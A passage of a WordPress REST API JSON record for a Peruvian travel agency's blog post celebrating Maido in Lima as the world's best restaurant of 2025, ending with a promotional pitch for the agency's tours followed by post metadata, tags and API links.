https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/platillos-maido-2-768x432-1.jpg?resize=300%2C169&amp;ssl=1 300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Win for Maido, a Win for Peru<\/strong><\/h2>\n\n\n\n<p>In conclusion, Maido\u2019s victory in 2025 is a beautiful reminder that the best food in the world doesn\u2019t always come from where you expect. Sometimes it comes from the meeting of cultures, the honoring of traditions, and the boldness to innovate with heart.<\/p>\n\n\n\n<p>Peru has climbed from humble kitchens to global glory \u2014 and Maido is now its shining star. For instance,&nbsp; raise your chopsticks (or your fork), take a bite of Peru, and remember: The world\u2019s best restaurant is not just in Peru. It is Peru.<\/p>\n\n\n\n<p>Finally, to learn more about Peruvian food, culture, and attractions, stay tuned to our blog. Also, keep in mind that Viagens Machu Picchu can make your dreams come true in Peru.<\/p>\n\n\n\n<p>Please feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us<\/a><\/strong> so you can get information about our tours, best deals, and promotions! The country that has the best food in the world awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Maido in Lima, Peru, just claimed the #1 spot on The World\u2019s 50 Best Restaurants 2025! With Chef Micha\u2019s bold Nikkei fusion and Peru\u2019s rich biodiversity, this win marks a global culinary milestone. Peru isn\u2019t just on the map\u2014it is the map.<\/p>\n","protected":false},"author":1,"featured_media":16441,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1833,192,1850,3495],"tags":[5676,2012,5677,5680,1890,4730,5679,5678,1851],"class_list":["post-16424","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-documentary","category-experiences","category-food","category-peruvian-flavors","tag-50-best-restaurants-2025","tag-asador-etxebarri","tag-chef-mitsuharu-micha-tsumura","tag-choice-award","tag-latin-america","tag-nikkei-cuisine","tag-people-happy","tag-restaurants-list","tag-world-s-50"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/FJUIY2G3H5EGNOPK4KJVV7ZTXE.jpg?fit=992%2C661&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4gU","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16424","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=16424"}],"version-history":[{"count":3,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16424\/revisions"}],"predecessor-version":[{"id":16443,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16424\/revisions\/16443"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/16441"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=16424"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=16424"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=16424"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}